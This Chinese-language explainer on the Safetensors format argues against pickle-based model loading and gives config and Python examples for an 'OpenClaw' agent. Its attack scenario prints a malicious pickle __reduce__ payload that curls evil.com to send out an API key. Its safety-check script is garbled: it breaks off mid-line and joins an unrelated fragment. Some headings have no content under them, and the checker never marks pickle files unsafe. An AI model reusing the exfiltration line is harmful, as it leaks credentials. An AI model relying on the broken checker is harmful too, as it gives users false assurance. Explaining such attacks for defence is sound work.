Safetensors(安全张量格式)

AI模型的安全容器——让你的模型只存储数据,不夹带私货

模型安全 Hugging Face PyTorch基金会 反pickle OpenClaw模型管理

📖 一句话定义

Safetensors是Hugging Face开发的一种零执行风险的AI模型存储格式。它只存储纯张量数据,没有任何可执行代码——加载模型时绝对不会触发恶意代码执行。2026年4月,Safetensors正式加入PyTorch基金会,成为AI模型存储的行业标准

凌晨4点07分,我收到一个"最新GPT-5模型"的文件。如果它是旧的pickle格式(.pkl),我一加载它,里面的恶意代码就可能偷走我的API Key、删掉数据库、给我的老板发乱七八糟的消息——就像打开一封带病毒附件的邮件。但如果它是safetensors格式,它里面只有纯粹的数字,没有代码。就像收到一个PDF而不是一个.exe——你只能看,它不能"动"你。2026年4月Hugging Face把这个格式捐给了PyTorch基金会,从一家公司的玩具变成了整个行业的护城河。

🚨 为什么需要Safetensors

传统PyTorch使用pickle格式保存模型(.pt/.bin/.pth)。Python的pickle模块在反序列化时会执行任意Python代码。这意味着:

但在AI社区,人人都在从Hugging Face下载陌生人的模型……

真实攻击场景:

1. 攻击者在GitHub/Hugging Face上传"awesome-model.bin"
2. 文件内部包含恶意pickle代码:
   class EvilModel:
       def __reduce__(self):
           return (os.system, ("curl evil.com/steal?token=" + os.environ.get("API_KEY"),))

3. 用户执行:
   model = torch.load("awesome-model.bin")  # 💥 恶意代码已执行!

4. 后果:
   - API Key被盗
   - 本地文件被加密(勒索软件)
   - 机器变成僵尸节点
   - 所有用到这个模型的Agent全部沦陷

这不是假设,这是已经发生过的真实攻击。

🔬 Safetensors的设计原理

1. 零代码执行保证

Safetensors的核心设计原则:文件格式层面杜绝代码执行

Safetensors文件结构:
┌──────────────────────────────────────────┐
│  Header (JSON, 前8字节声明长度)           │
│  ┌─────────────────────────────────────┐ │
│  │ {                                  │ │
│  │   "model.embed_tokens": {          │ │
│  │     "dtype": "F32",                │ │
│  │     "shape": [32000, 4096],        │ │
│  │     "data_offsets": [0, 524288000] │ │
│  │   },                               │ │
│  │   "model.layers.0.attention.wq": { │ │
│  │     "dtype": "F16",                │ │
│  │     "shape": [4096, 4096],         │ │
│  │     "data_offsets": [524288000, ...]│ │
│  │   }                                │ │
│  │ }                                  │ │
│  └─────────────────────────────────────┘ │
│                                          │
│  Data (纯二进制张量数据,按offset排列)      │
│  [embed_tokens bytes][attention.wq bytes] │
│  ...                                     │
└──────────────────────────────────────────┘

关键:
- Header是纯JSON,不包含任何可执行逻辑
- Data区是纯数字,没有类型信息(类型在header里)
- 加载过程 = 读header → 按offset读取bytes → 转为numpy/torch tensor
- 从头到尾,没有一行Python代码被执行

2. 零拷贝读取 Zero-Copy Loading

传统pickle加载:
1. 读取整个文件到内存
2. 反序列化Python对象(可能创建大量临时对象)
3. pickle协议可能加载额外的Python模块
4. 最终得到tensor
内存占用:文件大小 × 2-3倍

Safetensors加载:
1. 读取header(几KB)
2. 用mmap映射文件到内存
3. 按需读取指定tensor的数据
4. 零拷贝,不创建临时对象
内存占用:接近文件大小(甚至更小,因为mmap按需加载)

3. 多线程加载

Safetensors的文件格式天然支持并发加载。因为每个tensor在文件中有独立的offset区间,多个线程可以同时读取不同的tensor,不会冲突。

❌ PyTorch .pt (pickle)

  • 支持任意Python对象(包括恶意代码)
  • 加载时执行任意代码
  • 单线程加载
  • 内存占用高
  • 跨语言支持差
  • 2024年前的默认格式

✅ Safetensors .safetensors

  • 只支持纯张量数据
  • 零代码执行风险
  • 多线程并发加载
  • 零拷贝mmap
  • Rust/Python/JS/C++全语言支持
  • 2026年行业标准

🏛️ 加入PyTorch基金会的意义

2026年4月8日,Safetensors正式加入PyTorch基金会。这意味着:

🛠️ OpenClaw 实战应用

场景:OpenClaw安全模型管理

# openclaw agent config: secure-model-manager
name: secure-model-manager

skills:
  - name: model-loader
    description: "安全加载safetensors格式模型"
    tools:
      - safetensors_load
      - model_validate

  - name: format-converter
    description: "将旧格式模型转换为safetensors"
    tools:
      - pickle_to_safetensors
      - model_audit

  - name: model-checker
    description: "检查模型文件是否安全"
    tools:
      - scan_pickle_code
      - verify_safetensors

cron:
  - schedule: "0 4 * * *"
    task: "每日安全巡检:扫描新下载的模型文件,验证格式安全性"

Python安全模型加载

from safetensors.torch import load_file, save_file
import torch

# ✅ 安全:加载safetensors格式
model_weights = load_file("model.safetensors")
# 返回 dict[str, torch.Tensor]
# 零代码执行风险

# ❌ 危险:加载pickle格式(不推荐)
# model_weights = torch.load("model.pt")  # 可能执行恶意代码!

# 如果必须加载旧格式,使用weights_only=True(PyTorch 2.0+)
model_weights = torch.load("model.pt", weights_only=True)
# weights_only=True 只加载张量,拒绝其他Python对象

# 转换旧格式到safetensors
def convert_to_safetensors(pt_path: str, st_path: str):
    """安全地将pickle格式转换为safetensors"""
    # 步骤1:在隔离环境中加载旧格式
    weights = torch.load(pt_path, weights_only=True)

    # 步骤2:保存为safetensors
    save_file(weights, st_path)
    print(f"✅ 已转换: {pt_path} → {st_path}")

    # 步骤3:验证转换结果
    original = torch.load(pt_path, weights_only=True)
    converted = load_file(st_path)

    for key in original:
        assert torch.equal(original[key], converted[key]), f"Mismatch: {key}"
    print("✅ 验证通过,所有张量一致")

# 批量转换
convert_to_safetensors("old-model/pytorch_model.bin", "model.safetensors")

# OpenClaw中安全使用模型
import openclaw

agent = openclaw.Agent(
    "my-agent",
    model_path="model.safetensors",  # 确保使用safetensors
    trust_remote_code=False  # 永远不要设为True
)

安全检查脚本

import os
import struct
from pathlib import Path

def check_file_safety(file_path: str) -> dict:
    """检查模型文件是否安全"""
    path = Path(file_path)

    result = {"file": file_path, "safe": True, "issues": []}

    # 检查文件扩展名
    if path.suffix in [".pt", ".pth", ".pkl", ".pickle", ".bin"]:
        result["issues"].append(f"⚠️ {path.suffix}格式可能包含pickle代码")

    if path.suffix == ".safetensors":
        result["safe"] = True
        result["issues"].append("✅ Safetensors格式,零执行风险")

    # 检查文件头(safetensors以JSON header开始)
    try:
        with open(path, "rb") as f:
            header_size = struct.unpack(" 1024:
        result = check_file_safety(str(f))
        status = "🟢" if result["safe"] else "🔴"
        print(f"{status} {f.name}: {', '.join(result['issues'])}")

📊 性能对比

加载Llama-2-7B(13GB)的实测数据:

| 指标 | pickle (.pt) | safetensors | 提升 |
|------|-------------|-------------|------|
| 加载时间 | 28.3s | 12.1s | 2.3x |
| 内存峰值 | 32GB | 15GB | 2.1x |
| CPU利用率 | 单核 | 8核 | 8x |
| 安全性 | ❌ 可执行代码 | ✅ 纯数据 | - |
| 跨语言 | 仅Python | 全语言 | - |
| 文件大小 | 13.2GB | 13.0GB | 略小 |

🔮 未来展望